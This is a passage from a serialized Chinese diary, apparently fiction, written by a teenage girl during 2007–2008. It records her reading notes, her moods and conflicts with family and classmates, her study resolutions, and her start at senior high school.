is angry about my mind, she doesn＇t understand why I have such a reason. I know it’s all my fault， but I really don＇t want toe back to the house of my grandma. I think it will waste my time. I can use it to study, read, playputer, do some sports and so on. I’m growing up， and my mind changes all the time， I don’t know what I will be like in 10 years，but hope the future will be nice. Through I hate difficulities， I like challenge. Ha！ Ha！e on baby! Let＇s go！ 2007年10月3日 星期三 晴 读书笔记: 《我的心中每天开出一朵花》 几米 未必 终于明白， 一个人是无法抵挡所有事情的。 有时候一朵白云的阴影，也会令人窒息。 风轻柔地吹散阴影，小鸟轻松地衔走白云。 微风可以做到的，我未必能做到。 小鸟可以做到的，我未必能做到。 你能做到的，我未必能做到。 颠倒世界 快乐地歌唱，世界跟着手舞足蹈。 伤心地哭泣，世界跟着沉默忧郁。 他有他的想法， 但愿勉强为我短暂地配合。 我倒挂在枝头，轻轻摇摆， 我寻颠倒世界可爱的那一面。 2007年10月8日 星期一 阴雨 Happy！至少现在这一秒是这样！ 2007年10月22日 星期一 晴 I don＇t know why 1 feel so sad and angry. 静下来吧！努力，不要在她面前低头！她的看不起不会对你造成影响的！吧！ 2007年10月25日 星期四 晴 日历在一页页地翻去，那泛黄的琴谱记忆时间的旋律，那粗细不一的四根弦，演奏我的心情。想在蓝天白云下自由舞动，释放青春的活力。今天的我十四岁，是否在琴键的那头也有二十年后的奇缘，交织在黑白键上的故事让多少人做梦。年少的我们在花香中，在阳光下，在云层中放飞了多少想象，让我们哼那首我爱的歌: I am a big big girl， in a big big world... 2007年11月3日 星期六 晴 《灯塔看守人》 显克维奇 1905获诺贝尔文学奖。 他正如爬上一座高山，勤奋得像蚂蚁一样。虽然跌落了一百次，他还是安静地开始第一百零一次的攀爬。 2007年11月10日 星期六 晴 《红楼梦》描写王熙凤 头上戴着金丝八宝攒珠髻，绾着朝阳五凤挂珠钗，项上戴着赤金盘螭缨络圈，身上穿着缕花百蝶穿花大红云缎窄褙袄，外罩五彩刻丝石青银鼠褂，下着翡翠撒花洋绉裙。一双丹凤三角眼，两弯柳叶掉梢眉，身量苗条，体格风骚，粉面含春威不露，丹唇未启笑先闻。 描写贾宝玉 面若中秋之月，色如春晓之花，鬓若刀裁，眉如墨画，鼻如悬胆，睛若秋波，虽怒时而似笑，即慎视而有情。天然一段风韵，全在眉梢；平生万种情思，悉堆眼角。 描写林黛玉 两弯似蹙非蹙笼烟眉，一双似喜非喜含情目。态生两靥之愁，娇袭一身之病。泪光点点，娇喘微微。闲静似娇花照水，行动如弱柳扶风。心较比干多一窍，病如西子胜三分。 2007年11月26日 星期一 阴 大家这样说 爸爸妈妈说:“要好好读书！” 老师说:“要好好学习！” 我记得在小时候说:“我要好好读书，长大建设祖国！” 既然大家都这样说，看来这是真理。 我应该这样做，至现在只能这样做。 2007年11月28日 星期三 晴 《小公主》 美 伯内特 如果我是位穿着破衣烂衫的公主，那我是个精神上的公主。穿金戴银时当个公主固然容易轻而易举，但默默无闻时始终是保持一颗公主的心难道不是更大的胜利吗？ 《红楼梦》 只为你如花美春，似水流年。 你在幽闺自怜。 水流花谢两无情。 流水落花春去也，天上人间。 《西厢记》 花落水流红，闲愁万种。 2007年11月29日 12. 初三暑假（上） 《觉醒日记》全本免费阅读 2008年7月29日 星期日 阵雨转晴 我今天竟然有了屈辱的感觉，真的！假期加油吧！ 2008年7月24日 星期四 凌晨的天气不好说 贾含真，发泄一下吧！积在心中的不快。在伪装的永远快乐下面是多么的细腻和脆弱，很累了！真的累了！定期以哭的方式伴有倾诉是我最虚弱的时候吧！只想找一个听的人，甚至找一个依靠也是不可以的。 慢慢融入社会才知道，生存是不易的，每个人都很累。喜欢一个人很累，讨厌一个人很累，讨好一个讨厌你的人更累。我有点厌倦用我的热脸去贴别人的冷屁股，但现实告诉我——要宽容。我也知道自己有时做事的不周全，但别人却总要更为苛刻地要求我。我已经不再奢望友情，至少现在不。连找一个能听我说真话的人都太难了。 其实我很容易投入到虚幻中去无法自拔也与我在现实世界的处境有关吧！有的时候，一个人真的很孤独。 算着又浪费了一个月，一事无成！有太多事情要办！渴望迎接新生呢！无论发生什么事，我都会坚强地走下去。为了生存，还有妈妈！仅此而已。离电视、电脑远点吧！离虚幻世界远点吧！算我求自己！当我的眼泪已经不再值钱的时候，我还没有想好怎么生存怎么办呢？每次的听众都不一样。永远不要用厌恶的心看东西，不要讨厌任何事物，一切都是要面对的。不要觉得现在自己很可怜，因为或许有一天再看到这篇日记会感到可笑。 即使孤独和无视是长久的，我仍会执著地找下去。总会有人知道，我的笑是发自内心的，我的一举一动都是出于善念的。等待和寻觅是并存的，若长久的等待能换来寻觅时的成长，那一切又都是值得的。我得到了太多，总不能老奢望好的东西永远都归我吧！ 贾含真，这才像你嘛！九（1）班男生眼中不可一世的班长，同时又是忽远忽近的天真乐天派！招牌的傻笑，记住！不要再频繁地发泄自己的抑郁，应该适当的减少，学会宽容。最近好像很少会心地微笑哦！笑一个吧！很迷人的呐！即使隐形眼镜看到的可也是真实的世界啊！ 我老想写下这么一句话:当獠牙穿透皮肤与鲜红奔流的血液邂逅，注定守护你灵魂的吸血鬼骑士，即便只是守护，与人类交往还是很累吧！美型的少年们，还真是辛苦了呢！自从看过《吸血鬼骑士》后一直希望可以有一位像玖兰枢那样的哥哥守护我，是对现实残酷的一种虚无的寄托吧！也希望灵魂永远是纯净的。 到现在我还忘不《樱兰高中男公关部》（其实是“高校”，但我一直喜欢用“高中”）和《网球王子》，想起来很怀念呢！但也会害怕，曾经再喜爱的东西经过时间的冲刷也会淡忘。不过还是不要太投入到虚幻的动画中去，即使看漫画都很痴迷呢！ 还有现在的当务之急，赶快要把睡眠调整过来，身体是很关键的。至于高中的知识，我也不好说。照我的性格，要全部读完，很难吧！每天说坚持也难！现在连家务都轻懈了呢！还有妈妈，为我操了很多心吧！总担心这那的，一定很累。 写《天才九（1）班》的灵感完全断了呢！原来的好朋友，现在还是觉得可惜，毕竟我对她们（他们也算上吧）有很多美好的期望呢！要我讨厌一个人可能很难吧！我不知道真正的我是个性格火辣容易激动感情用事的天真单纯乐天派，还是冷静理智却又孤独成脆弱的假成熟派，反正性格复杂难懂的我，是前面两个的大杂烩，再加上有时的真真正正的乐颠乐颠和丰富的想象，像那个貔貅馆的叔叔说的一样——瞬息万变。我觉得这个词用的不错，是很好！因为大家都说我“怪”！搞不懂！连我自己都不知道啊！我这么个人呵，是怎么造就的，如此神奇！而且永远有一鼓力量在支持着我前进呢！静下心来，不要被事物的表面迷惑！拨开迷雾，看本质！无论怎么样，一定要勇敢地活下去！ 2008年8月5日 星期二 晴 从香港回来以后，我立志要到香港去，不是去生活，如果可以想去读书。我想去欧洲国家发展或者到比较文明的地方去，然后从国外赚钱来建设中国。 上午和杜老师见面，谈了高中学习的问题，我将从现在开始为高中的数学竞赛打基础，我觉得有点像在学科上下注，靠点运气，飘点命吧！说句实在话，我已经有点进入紧张状态了，我不想在高中仍在二十几名游荡，觉得有点丢人吧！某人正虎视眈眈地盯着我，正打算抓我的把柄呢！ 在 Hong Kong，我是个贫民中的贫民，但我相信四年后，我会从那里满载而归。“信心＋毅力”希望可以走到最后！ 祝 我好运！ 任务表: （一天200个单词）＋（10篇以上朗文）＋（至少2页论语）＋（至少3讲奥数）＋（至少一篇练字）+（至少2个单元数学）+ 接下来补充或更改再议！ 惩罚:不许碰电视和电脑，除跳操有事外不许出门，不许打电话，不许出去吃饭。 2008年8月7日 星期四 晴 今天是七夕，中国的情人节呢！看到上面我自己定的任务表，有种想死的冲动，做不到那么多啊！ 一共收到四支花，其中有两位是男生的，为什么只有那种不带劲的男生送我花呢？真是不好说什么，还是被逼的。我都无奈掉。晚餐还凑合，吃了挺多的，反正现在大家都知道我能吃了。不是很想继续做奥数，我这种破脑袋……木木今天又颠掉，我也懒得理她，加上小水和了了，我简直疯了！！！这世上难道就找不到可以和我一道的人吗？Oh， my god！ 忽然想起来，《吸血鬼骑士》千年都不出，急死人啊！我看个屁啊！小潘死赖在省城不回来，飞飞被他妈雪藏，我的天，怎么这么奇怪的事都有。本来想多写点，实在写不下去，就此吧！ 2008年8月9日 星期六 晴 昨晚看奥运会开幕式弄得有点迟，今天早上却老早就爬起来去买手机。说实在话，心里实在矛盾，到底该不该买手机呢？不过已经花了1020，加上动感地带的卡60，我有总说不出来的味道，反正是静不下心来做奥数啦！其实家里的情况我还挺清楚，这个暑假我一个人就花了很多钱，一万块是打底的了，现在只要大略算算，在我身上一年的花费，至少有两万吧！就按一年三万算，还不加父母的心血费，七加八加的，现在一共过了十五年，那就是15x3＝45（万元）这还只是大概，还有什么给我的保险啊！吃喝拉撒的…… 反正总结一下就是，我要好好读书，赚大钱并且用心地好好照顾父母，给她他们不仅在物质上而且是精神上的安慰。比如一年给个几十万零花钱啦！送个几百万的店面给他们解解闷啦！送他们到国外消消夏啊！反正要尽我所能把我所能努力得到的一切美好的东西和父母分享。 话我是很会说，就不知道做起来怎么样了，有时忽然觉得要是在家里需要帮助的时候我可以拿出一大笔钱的存折来是一件很让人欢喜的事。我前几天还在大肆地挥霍啊！ 现在只可以是这样了:电话费、餐费……姐姐你就省点 13. 初三暑假（下） 《觉醒日记》全本免费阅读 2008年8月13日 星期四 晴 我又迎来了一个“低潮期”！就是觉得自己心情压抑的时候，按我的话来说是不知道为什么会生成这样的性格。我讨厌我妈妈在这时候说她难过，我一直以为她可以更好地不动声色地埋没自己的难过。或许我太自私，只想到自己要发泄。这是一种说不清楚的自我挣扎，特别是在妈妈说过她难过后，我后悔说了伤害她的话，想极力挽回局面心里却又涌起一阵难忍的阴郁，很矛盾地冲撞在了一起的时候，我通常也会想找一个人发泄。但今晚我希望自己可以克制住，一个人顶过去，因为路还长，低谷期还会来的！ 人总是说不清楚的，时而好时而坏，和每个人的关系也是一样，甚至是父母，最亲的人，也会有过讨厌的感觉。不过幸好不长久，也不浓烈。我现在像一个感情白痴，变得有些麻木了，大部分时间处于没感觉状态，连激动和心跳也少了，也缺乏了那种发自内心的东西，我想哪怕是非常讨厌也好啊！可是没有，我不去很讨厌甚至超过一天时间去讨厌什么都不再有了。我认为我该去洗洗脑了。 写完上两段心情平静多了，但我还是要把那篇作文写完吧，至少是对我自己负责。灵感没有就憋吧！不过发现其实对自己的自责挺多的，总是觉得自己做不好。不过这也倒是事实，我太缺乏毅力了，没劲！干不了什么大事的。确实是属于知错不改型的。后悔啊，立志啊，嘴上工夫是做足了的……很奇怪的感觉，要是自己有钱一点就好了。话费——我的最大过错，而后是时间吧！对不起，我似乎就没有珍惜过。哪怕就一天，一小时，一分，一秒…… 加油吧！孩子！至少现在没有在浪费时间啊！这就是好的！那么，开始写作吧！给一个笑脸！ 2008年8月15日 星期五 晴 今天是中元节，也就是所谓的七月半，小水和了了因此不肯出家门，我也懒得一个人去跳操所以干脆也不去，下午请个假好啦！ 上午回来看了奥运的女子全能，中国是拿了铜牌的，我第一次觉得拿到铜牌也是了不起的了。那些选手大都只有十五、六岁，就已经在为国争光，为家挣钱了，瞧俺们还在干嘛呢？如果我也去参加奥运的话，可能是最不努力的一个了吧！估计连资格赛也进不了。 我老是不喜欢孔子，觉得他虚伪，古板。不过现在想想，他虽令人讨厌但怎么说也是个知名人物，这点算得上是成功的，加上以他讲的话为主的《论语》，也就是以他为招牌印了好几次，赚了大钱的，所以他在经济学上是很有开发价值的。不仅是在文学方面，你看那些电视剧里总喜欢在学校（古装戏就在学堂）的某个显眼的地方挂上一幅孔子像，我想这比“网王”的海报还要畅销吧！一般挂像还配有玻璃镜框呢！ 来算一下，利用孔子的名人效应共赚几道钱:1买原料做纸2买纸做画3买框表画4买钉子钉上去5吸引一群学生来交学费6其间几道工人的工资就算一项7机器运作的水电费8通过通讯工具沟通采购的通信费9去采购的路费或邮寄的邮费……以上又将牵扯到各个部门的人员工资、上下岗问题，就“钱”这一方面来说，孔子的贡献极大，确实可算得上伟人一个。其实世界真的就像这样环环相扣，大家是相互依存的。或许有人因效法孔子而成名，因批判他而走红，原来仅仅一个会说话的人，其价值远远高过我们所认为的本身。 2008年8月16日 星期六 晴 周末，我爸妈都待在家里。看奥运看了一半，被迫关了电视进来，玩了十几分钟手机游戏，心里由衷不爽。又不干正经事，还不如让我看电视。我是真的不爽，很不爽啊！不过连可以发泄的人都没找到，对父母顶嘴吧，我又没那个胆，真的是憋气啊…… 昨天吃饭我爸也说了，我不会成为那种冒尖的人，那还干什么叫我干这干那的。我还真是越想越不爽。我就是难以克制心里那股不爽的劲。真的是极郁闷，至少现是在是极郁闷的，极其的！！！我爸都知道拖课的时候学生没心思上课，那现在我不是一样？我现在一点都不想碰课文，至少现在是极不想的。因为我现在正生气！气愤啊！烦燥呢！要是现在有个哥哥，就得和他吵一架解气！！！ 不行，我还是气，那就算钱吧！怎么不论我干什么我爸妈都插一手啊！真正要他们帮我决定的时候就说自己看。然后又是在说“自己安排”以后喳喳呼呼限制我的行动，他们怎么就这么不一致呢？反正我现在千万千万要忍住了，要是这下我暴发生气，那今天一天的气氛绝对全完，那我就有得去死了。算了算了，毕竟生我养我，为我好啦！静下心来，静下来…… 不过我还是气不过啊！凭什么啊！我承认自己确实没长大，就是不努力！也知道自己以后肯定有后悔。可是我就是没那毅力啊！我也想啊！我也想自己像大刘那样天天窝在家里只知道读书啊！可是我就是不会那样，就是没有那么“木”的精神！气！ 2008年8月16日 星期六 晴 中国输球了，我心里是由衷不爽。羽毛球的男双，第一局赢得太漂亮！由此我竟然想到自己应该好好读书，也算是为国争光吧！ 2008年8月17日 星期日 晴 和父母一起过周末确实令人不爽，我爸一天不知道要说多少次:“读书吧！”烦都烦死了。我觉得他们在别人面前夸我而实际对我的诸多不满太虚伪了。我知道，要是哪一天他们看了我的日记搞不好会气得吐血！反正我现在一点都不想读书。一个人的日子是美好的？！！可惜马上就要开学了，苦难即将到来…… 木木今天和我打了一个多小时电话，我都快被烦死了，相当无聊，一直讲一直讲！我现在真就不明白我哪来的那么多话讲啊！真是脑袋进了水啊！我现在还是不想去摸高中课本，一点不想！！！ 2008年8月19日 星期二 晴 前面和父母谈到了分班的事，说是今天继续会有分实验班。说实在的，至少我现在是一点也不想进什么实验班。我觉得挺无聊的。现在已经完全可以想像进去的日子了。怎么说呢！要开学了吧！我感觉不是很好，不想回去上课呢！怕自己被累到或者有些倦怠了吧！对未来的同学也没什么兴趣，日子长着呢！我们不急啊！这几天什么事都没干，真的是又该打了，我自己也挺无语的啦！就这样吧！ 2008年8月20日 星期三 晴 刚结束了一部美国电影:《小记者大侦探》。每次看完一部美国关于青少年的影片总是让人伤心，但同样也振奋人心。 化妆，逛街，名牌，车，钱，大幢的房子，眼花瞭乱的各种组织、部门，实践活动……不得不让我对中国的教育绝望。在这种时候，我总是讨厌 14. 高一（上）九月 《觉醒日记》全本免费阅读 2008年9月5日 星期五 阵雨 今天因为数学考试，很受打击呢！怎么说呢？我自己能力有限吧！反正第一单元是注定失败。开学这一周情况不是很妙吧！反正没有什么事情让人觉得很顺心，连我的成绩也这么不争气。 和高祺相处觉得他太差劲，了了也在某人的教导下令人不爽，木木更是……我都不想说什么了，反正很郁闷！！！ 今晚看了一个晚上《搞笑一家人》，我只好在到十一点前结束，生怕被我妈扒了皮，反正就是不爽对啦！啊…… 2008年9月6日 星期六 阵雨 晚上去了初中英语老师家，有点累。木木、小水、了了三大仙齐聚一堂，我已经对她们万分无语了。还有忽然意识到危机，那就是毛羽。不知道成绩是否可以构成威胁，如果可以，我会更加努力的。其实这个周末浪费了很多的时间，因为教师节去老师家的事。我这个班长当的是真不容易啊。确实是很累的，学业加上公事，麻烦一大堆啊！累……真的很累，上午去小学语文老师家，晚上初中英语老师家，一共是22块，还有明天啊！ 2008年9月8日 星期一 晴 我真不知道自己该说些什么，高中后的第一次考试，数学——45分，全班倒数第三！算是一个伟大的创举吧！加油！ 2008年9月11日 星期四 阵雨 今天真的是很火呢！我和高祺吵了一个下午！讨厌的家伙，没素质啊！鞋子也全湿透了，裤子也湿了半截，我的妈啊！刚才在看《搞笑一家人》也被我妈及时遏制住。哎！明天一天又是无比难熬的。数学考试呢！目标60分就优秀了，50分就好。加油吧！ 2008年9月13日 星期六 晴 今天挺开心的！我们班的篮球赛以100:92赢了，哈哈！说句实在话，从到高中到现在都一直挺不顺的，但谁叫我是个乐天派呢？一切都会过去的，一切都会好起来的！我坚信！ 我一直都觉得自己从小时候到现在都太顺了，也许我现在要开始付出比别人更多的努力去经历一些本就属于我，却没有袭来的困难吧！我知道自己要怎么做，也不会轻易退却的！贾含真可是高一（1）班的班长呢！可不要轻言放弃哦！ 今天的球场不知道为什么我特别的关注，好像这对于我是一种寄托和安慰。只是高祺真是个可恶的人！“纸巾小生！”真的是小气到了极点。斤斤计较，可怕的人。还有那个拥有甜美嗓音的恶魔！好像说的狠了点啊！不过确实不是什么好东西呵！恶心啊！哎！我是真的真的很无语了啦！ 明天下午还要去班里贴字。感谢邱妈、大宇被我拉来帮我做事，还有就是乾子也算是好人吧！ 今天傍晚和小水去散心了，感觉好多了吧！或许以后这样的日子不会多了吧！所以现在一定要好好珍惜的。我不是很想做作业，至少现在一点也不想的。哎！我真的是不易呵！Bye了，我的日记本！ 2008年9月4日 星期日 晴 今天下午的劳动还是很愉快，邱妈、乾子、大宇、高祺、大刘做了特别多的事，尤其是男生，真的是很卖力的。至少零零、晓晓，火华可以忽略不计吧！反正下午不管是钉画还是贴字还干得挺不错的。只可惜因为我要去外婆家就先走了，我挺过意不去的！ 第一次感觉我们班的同学可爱呢！高祺也会觉得不好意思呢！因为他在我之后也先走了，反正很可爱。特别是钉画的时候，每钉一个钉子就要我上去看下，有点傻吧！不过到后面我真的有点急了，有发脾气，现在想想有点后悔。大家都在做事吧！哎！我把自己的空间改成了《快乐小铺》，希望我的快乐可以装点你的心情！这句话不错吧！ 明天上午我也许会去机构上课，不知道事情会发生成什么样呢？这几天不知道为什么上网上的很频繁，我爸妈不是很高兴，毕竟对眼睛不好吧！似乎我的高中生活从今天开始闪光了，不！是从昨天的班长开始！很成功的哦！现在心情真的很不错呢！晚上的中秋节没有什么让人特别快乐的，就是和他们一起吃吃喝喝，也没有食欲，不好说是菜难吃还是怎样，反正就是讨厌啦！邱妈老是说我笨，我真的是气！讨厌小鹏！！！OTL 每次都是他让我心情又低落的！ 2008年9月15日 星期一 阵雨 中秋的假期到今晚为止结束了，我是挺不情愿的，什么都没做吧！今天晚上的月亮很漂亮，不愧是十五的月亮十六圆。下午学车很开心，已经开始上路了。现在才知道原来上路这么有意思的，反正开心就是了。希望从下星期开始我的高中生活可以进入状态，就像初中一样快乐，要把我的快乐一直延续下去！加油吧！ 现在因为笔水没用完所以还是接下去写日记吧！我又开始了对电话的痴迷，罪过啊……看来明天我又要去存话费了，现在觉得真是不应该，连邱妈都说这样恶劣的！昨天的中秋让J去小鹏家陪他，后悔自己大嘴巴讲出是我叫他们去的，后悔死了！我是坏人！！！今天下午和毛羽聊了天，有点不爽，他老把自己英语小测92挂在嘴上！哎，也是我自己没本事，不说了，伤心呵！怎么说呢？心里有种奇怪的感觉吧！毕竟是上高中了。参考书还有一大堆没看，我也不好怎么说，先那样吧！看啰！ 2008年9月20日 星期六 晴 好像是星期四骑车摔的吧！二级伤残！郁闷的慌。昨晚顺利通过考试，过关！高兴！用酒精洗脓，要多郁闷有多郁闷，我痛得一身是汗。早晨一大早被我妈弄醒，要多烦有多烦！一切都是那么讨厌。讨厌的人和事，讨厌自己，讨厌小水！伤口是这样让人痛苦，我妈也是永不停歇地问我叫我，而且大都是我讨厌的东西。我或许又开始心理变态了，反正确实在高中到目前都比较痛苦。昨天下午的课除了数学勉强听懂，物理化学简直就是恶梦！恶梦！讨厌化学老师，讨厌他！这一切的一切逼着我要在大清早的写日记，关手机？做梦！ 2008年9月22日 星期一 晴 已经九点多了可是我还没有开始做作业，我不想做，一点都不想。看了《家》。很困也很累，真的很累。甚至连可以说话的人也找不到，根本找不到…… 2008年9月25日 星期四 晴 日子是悲惨的。我度过痛苦的几天又迎来了新的痛苦，我将再次陷入绝望。游荡的日子，永远在游荡。 刚关了电脑，脑子里尽是《 The Sex and The Gity》的片段，可怕！我知道自己终有一天也会堕落到那种地步，至少今天下午就是失败的。音乐课上是失败的！！！劳技同样失败！！！美术是惨败给了毛羽。彻底地讨厌高祺，要多恶心多恶心！我很少这样这样地讨厌一个人。男生小气得小母鸡一样，怎样怎样就哇哇乱叫。口臭（也就是嘴脏）。既然有女生愿意和他在一起？哇！吐死吐死！气愤！ 还有被骗了的辩论会，欺骗感情，被骗了的羽毛球，浪费精力，被骗的化学课，我拿去做英语，被当傻瓜一样玩弄，被骗的很惨烈……下午想到一句很有哲理的话，可惜没有及时的记住，给忘了！多和男生说话只会增加我对他们的厌恶感。就像我说的，说一个字看出你没水准，木木说，说两个字就看透你了。至于高祺！看他一眼就知道不是好人！我很少恨一个到这种地步。 我的话费莫名其妙存到了小鹏的户上，真是没脑的人！我自己都快气疯了，这确实不是正常人 15. 高一（上）十月 《觉醒日记》全本免费阅读 2008年10月4日 星期六 阵雨 奇怪的日子就是会奇怪的事发生，我真的是不好说什么了。 2008年10月6日星期一 阵雨 已经下了好几天的雨了，我觉得今天开始上课有点累！ Mao is foolish. I am always waiting for him. I waited and waited, but the cellphone didn＇t ring. I don＇t know what to do, I never feel so fantastic，good man， kind to me！A little cute. A little miss really！ 2008年10月7日 星期二 阴转晴 今天是重阳节，明天要考语文，傍晚去遛猫（毛），有点累。 2008年10月8日 星期三 晴 路很多，时间很短，即使一个人我也要走下去。微笑掩埋了悲伤，我彻底被虚伪打败，却又在觉悟中重生。悼念我逝去的青春，落花顺水流，容颜随风去，在这个充斥不定与徘徊的季节，我与他相遇。我明白了现实的残酷，那是相隔世纪的代沟。我已再无力为自己戴上缤纷的花，苍老和倦怠夺走了我年青的心。理想被秋雨冲刷成惨淡的白，放晴后仍旧是湛蓝的天。 2008年10月11日 星期六 未知 凌晨，坐在这里，很累却不困。不知道写什么，似乎有很多话却说不出，我真的不知道…… 现在是晚上我接着写今天的日记。我都快疯了，找了Mr.Cat一天，整整一天，一直找，至今也没有找到，都快累死了，结果一点反应都没有。我都不好说什么了。打了两次电话结果都没有用，还是找不到，我要疯了。过的确实是很充实的日子，一天一天，一小时一小时，一直一直，累……上午本来因为去书店的事郁闷，后来倒还好吧！不过真的是很奇怪，不知道大晚上的猫会去哪里？很急，不过也有点气吧！真的是恶劣，过分，过分！不知道该怎么办了！不知道！ 2008年10月12日 星期日 晴 今天下午把化学笔记本借给毛羽被我爸看见了，我爸没有说什么啦！不过……有点不妙哈！今天还算开心了。就这样…… 刚洗好澡回来，我还是那么随性，听收音机，看《呐喊》，就是不写作业。有点恶劣！不过现在洗好澡回来状态又好了，挺开心的，事也想通了，就差好好读书了吧！一晚上东西是吃了不少，不过事好像没干什么。上午的课还算是好吧！那我要开始奋斗了。 2008年10月14日 星期二 阴 猫挂科了，不希望再看到了吧！今天好像有约法n章，说我要考年段前十吧！这确实是困难，我也不知道自己是否有能力承受，不过努力吧！先加油再说啰！还有就是我要知道自己在干什么，不可以早恋，即使班里同学都结成双，我也要矜持，不可以让父母失望的。为了坚定自己的决心我们来分析下吧！ 1现在大家并没有完全成形，所以也分不清到底以后怎样吧！2就算成功也会因为是早恋被家人怀疑。3因为怕被别人知道很累。4付出感情和时间很累。5以后不知道是否会在一起。6不知道会不会发现更好的。7不知道这种感情是否可靠。8分心后成绩可能会下降…… 边听边写有点累，不过现在真的很累，理由很多，想法很多，问题很多，麻烦很多，考试很多，眼泪很多……星期五的物理考试我已经不敢再想了，不知道会不会挂科？ 不知道很多，为什么很多，……很多很多吧…… 2008年10月15日 星期三 晴 今天过的不好怎么说，发了历史考卷，成绩很烂！英语小测也考的很烂！周末做的那份数学卷子也很烂的！这周末的羽毛球赛因为时间安排的原因我又无法参加了，有点可惜吧！作为班长是不是有点恶劣呢？ 猫又挂科了，我真的不想再看到了，真的！我知道他最近也烦啊！他说他委屈呢！可怜的孩子啊！希望他好起来，快点好起来啊！ 说说我自己吧！想的比较多吧！真的是累，就因为这个原因我一直很累的。和父母，和朋友的关系说不清楚。我的成绩也是这是，所以一定要加油了，我还不想在高一就趴下了，我还要考重点，还要去建设祖国！不过今天我又受到质疑了，这让人不舒服。我不喜欢这种感觉。 还有猫是个死脑袋，怎么就不理解补课到底意味什么呢？我真的是气哈！明明是为他好的，就是不理解。我的天啊！我真的是不好说什么了。反正就是这样啦！ 然后就是我的宣言:好好学习，天天向上！努力奋斗吧！ 2008年10月16日 星期四 晴 和2班的班主任和班长一起吃的晚饭，很受打击。他的目标是年段第一，我更受打击，再听他的成绩和每天的作息表，直接想死掉。 我有点愤愤！今天被史老师叼到外面谈话，因为我的poor理科成绩。明天的物理我也不打算及格了，至于数学，能上七十就已经是奇迹了，我已经不期待什么了，尽自己努力吧！不再荒废时间了。我真的真的要加油了！怎么说呢？我总不可能荒废我的青春吧！书是要读的，日子是要过的，一切都会好的。 蓝色自有她的烂漫，何况我这个充满自信活力的新鲜生命呢？啊哈！我要加油！加油！不可以天天乱混了，这个周末一定要恶补，杀进年段前十！只要好好读书什么都是可以的。就像2班班长同学说的：我觉得考年段前五没什么吧！”刺激啊！打击啊！这不是重创吗？天！天！天！ 我要读书，读书，全班前三，前三啊！真的累！不过我不是要苟活的，今天真的是洗脑，感谢2班班主任对我的教海。什么乱七八糟的，我要读书读书！完了，我写日记又开始乱来了！不过知道自己要干什么就是好的。对！我的豪言壮语还是很多的。比如说，我要去 Hong Kong！我要证明自己，不可以连了了都觉得我没有用的，至于邱妈，我会用自己的实力证明的，这不用他啰嗦的。 不过今天因为班赛的事我费了不少心的！……我终于开始看哈七了，我的《哈利·波特》很久很久没有摸了，不过今天看的感觉不错哈！ 来笑一个喳！哈哈哈！奋斗！加油！我的未来是光明的！ 接下去写今天的日记吧！刚看了几篇文章，感触很深。一篇是关于家境困苦的成材篇，另一篇因父母的不理智的苦痛早恋篇！我已经预知了若是我早恋那是有多严重的后果了，所以千万不要，然后就是我现在的处境了，我现在的学习环境是很好的，没有什么特别的家境贫寒什么的……所以是个很幸福的孩子了，别无他求，只剩我自己要好好读书了吧！ 晓晓和高祺的事被高祺他妈知道了，很奇怪！也很无聊啦！他们硬要打电话给毛羽串口供，我也是败给他们了，都这样也不会觉得累。明天要考数学物理的，今天晚上还有空做这些小破事。至于通过这件事而来的我对自己的反思了，就是要认清自己的位置，知道自己应该做什么，怎么做？！明确目标，好好努力。反正说来说去都是要读书的，还不如态度好一点！哎！向大刘看齐！ 2008年10月17日 星期五 阴 就像一只受伤的小猫，由发狂的尖叫过渡到哀哀的嗥，痛了也累了。不知道为什么，我就这样变得难过。 回家路上我走到一半又返回去买花，我太需要安慰了，哪怕是自己为自己买的花。转变，我开始被无情的创伤消磨，只是仍在一种意识下知道不可以怠尽，曾经属于我的烂漫是否还记得我？似乎它一直荡漾在哪里，在欢歌。 2008年10月21日 星期二 晴 刚看完《猫的日记》，有点感触，感谢吧！这几天我为了看《哈利·波特》付出的代价很惨痛吧！订班服的事一向不顺利，不过我知道，有些事还等着吧！都是要解决的。 上周五晚上淋雨回的家，确实很奇怪，自己也不知道发生了什么。周六一天过的还凑合，只是物理数学双挂科。晚上和2班班长吃的饭，挺开心的。还有后来毛羽因为球赛的事郁闷，其实另有原因吧！毛羽和他妈一直相处不好的。我的天！不过后来和2班班长唱歌很High的，至于毛羽，那天晚上是痛苦的。 周日的话一样不好过。至于不愉快我不想怎么写，但傍晚去广场跑步确实是累。还有我的心情，也出奇地烂，连我自己都奇怪有这种状况出现。今天表现的不是很好，不管是作为班长，还是作为同学，反正糟透了，我以前的状态是找不到啦！就这样凑台凑台过啰！加油！ 2008年10月22日星期三 多云 嗯！回温坐在床上写日记的感觉……一天一天…… 事情围绕我和小猫发生，发生了很多很多。早上好像记不得了，有点乱。刚才在Q上什么也都没有说清楚。我甚至不知道发生了什么？ 晚上是为班级做事了，后来一个人走回来的。刚开始很奇怪，不过后来倒唱起了歌。他的话我有点听不懂了，什么“日本料理”？我现在知道他讨厌那里了，甚至讨厌比我想的多。好像是我得罪他了？或许他知道医生交待我今天不要吃冷东西，可我忍不住吃了一根冰淇淋？或许他知道我中午忘了吃药，在放学后却把药扔了？或许他生气我上课说话？或许他不喜欢我晚上熬夜看《哈利·波特》？或许他又觉得我不该觉得他和李讲话令人难受？或许他认为我在什么时候又不理他了？或许吧！或许都有吧！反正不管怎样都是他。 看他的日记，我除了可以笑，可以面无表情以外，什么也做不了。明明是可爱的文字，但字确实是丑的，我不知道他除了让我知道他希望我不因为什么事恨他，知道他喜欢说我傻，有代沟，和他母亲小吵以外还有什么。他郁闷的时候很可怕，有点像被我爸妈批评后，我压抑自己不反抗的情绪。 不过他今晚说的话让人心寒吧！“我们不是一类人！”这就是我最信任的人吗？我的天啊！他的一句话否定了我这么久以来的努力，我的付出，眼泪，汗水都抛进大海了。太天真地以为朋友就是这样关心的。 我不是一个坚强、智慧完美的人，而是一人懂得如何关心别人却同样自私的女生！ 我抱着米奇又发呆了，不过一只老鼠再可爱也终究变不成猫。 2008年10月23日 星期四 阵雨 一大早起床，下雨，这是不令人愉快的。但我依旧穿上班服，尚存一丝希望。似乎在越下越大，我只能说一句:蠢天气！！！ 2008年10月25日 星期六 阴 我刚从炸鸡店被我妈召唤回来，说不清我是什么心情吧！晚上和小美老师、邱妈、小水一起吃的，聊的很high的。小美老师给我们讲她怎么读的高三，什么上课偷吃东西，看漫画，考试作弊……然后又是讲她们现在教的班如何差，现在的学生如何的搞笑，应该是木哈！反正我是笑翻了。 